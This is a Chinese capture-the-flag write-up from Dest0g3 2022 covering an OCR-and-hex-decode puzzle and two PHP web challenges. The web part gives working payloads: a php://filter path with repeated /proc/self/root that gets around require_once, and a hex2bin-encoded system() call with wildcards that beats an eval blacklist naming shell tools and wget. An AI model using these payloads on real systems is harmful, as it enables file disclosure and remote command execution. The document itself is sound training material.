[Dest0g3 2022] M新赛－AI-OCR，web－phpdest,SimpleRCE

目录

AI－OCR

web-phpdest

web-simpleRCE

---

萌新这个比较适合。这两个行当不大明白，只作了1个AI和两个web，web这块分数很高，可惜了。不过术业有专攻，不可能全明白。

AI－OCR

说是OCR就是OCR识别呗，不过这题手工如果一开始作也许能拿更多分，OCR识别后还得一个个改。

下来的附件是个PNG图片，由于png只是像素流，如果宽度变化以后就会出现变斜了的情况，所以这里先把图片改成1888*800，字符就全变正了

第2步就是把字符正过来。用百度的一个库

import ssl
from aip import AipOcr
from PIL import Image,ImageGrab

#pip install baidu-aip 
""" 你的 APPID AK SK """
......
client = AipOcr(APP_ID, API_KEY, SECRET_KEY)

""" 读取图片 """
def get_file_content(filePath):
    with open(filePath, 'rb') as fp:
        return fp.read()

image = get_file_content('flag_pic3.png')

""" 调用通用文字识别, 图片参数为本地图片 """
a = client.basicGeneral(image);
print(a);

这里有个问题，有空格认不出来还有把0认成O的，这个费了不少时间。眼都花了。

然后把这些数字（显然是16进制编码过的，开头是7z）存成文件

a = '''
377ABCAF271C000451FCF397500200000000000062000000000000001D9C97C8E004D002485D0022
194A676D2FDE351A055C168F9710364AE2D581126E378F3B4C47E15E2E80B74234B849430A221F40
C086E06B24ADAAC47F32CB62CADD154B50723E65E50CDF99CC2B953916AD2204D70C15FB493BD4C2
E1F93902FB3563190ACEE58CC01621BB2AAAB6EED8CE892FEF5F0927E2C4BCD7C188277D09D03579
95A2FB65D31CD99C853D7BAF52EAD8555920D1672B4A3B713917E98FB324AD225A3FA2AFAC1435FF
E31ED0C0CEF0CA0B68C0CCCA81C458680D7C75139429D282984933F7ACFDFB127321D9F4EFC0FEAA
E92F985D3C457E90AFBC4DA9D11B23E507A0953036A2EC1D75D69CD1F6A9F0790B1AB02D6C2AFFDF
66A2E7E56A1070FBCD316813E12DF9E26FC4813D419792A65960D4D97EDFA7A978A0385C04CF36EF
DE3B07DF9B9405253EAA838149910F2571FAA4A8E085D1567C5C17C9B3400F91FBFE6B47E052BA07
097C9D77803D3A45E3477FE324603179C7CA6A128CDC0F7E834812618AD4C79934226637E9300C55
95E355139A2ECF661A5F63750A6A0035ACF52417AF3A1C1FEA14471D074C27F81C719D98717F4ECD
32918BD15C18AB93769E94DDEFD3B6FAF4DDD6628BA44BDEF574FCCD5589334EA8063D7B27A2F060
0FC864D010A7F0CEC9B9395434878D01943887194342F9D34FC8F12DD4556ED5A5A36667F9319A03
95DB9A445B94C44771B406F962B1CFC8535BA0D3EE3DDDEB876C95092AAB192B168A732F3A7B9E81
56C403C583983F5527A0D6C5D6928481D56955474046D9FC17A2DE21F3D6FC4C69644E7C6A141BE9
48A417A33D62C6FF6DFAC702A0FC101748D9A9C64A6A0000010406000109825000070B0100012121
01000C84D100080A0196EAFE6000000501190A000000000000000000001119004400650073007400
3000670033002E00740078007400000019020000140A0100B547E05F6654D8011506010020000000
000000
'''

print(bytes.fromhex(a))
open('aaa.7z', 'wb').write(bytes.fromhex(a.replace('\n','')))

 打开文件得到Base64编码的flag

#RGVzdDBnM3szNDUxMjA5OC0zMzA5LTc3MTItODg2NS03ODM0NjAyMjE2NDd9
#Dest0g3{34512098-3309-7712-8865-783460221647}

web-phpdest

web题原来没作过，比赛快结束了，别的都不会了，闲着也是闲着。从网上搜了一下。

 <?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
    require_once($_GET['file']);
} 

这个题就是个require_once漏洞，通过长目录名绕过，网上有。直接把内容复制下来（网上原话未加发动）得到flag

/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

Dest0g3{2c92226e-6d20-4784-8f24-2d0fd74d7080}

web-simpleRCE

这个也是搜的，有eval，其实就是绕过黑名单用hex2bin

<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

用网上的方法把system16进制编码，再用？绕过cat flag。直接在firefox上用HackerBarV2(免费版)

POST
aaa=hex2bin('73797374656D')('/bin/ca? /fla?');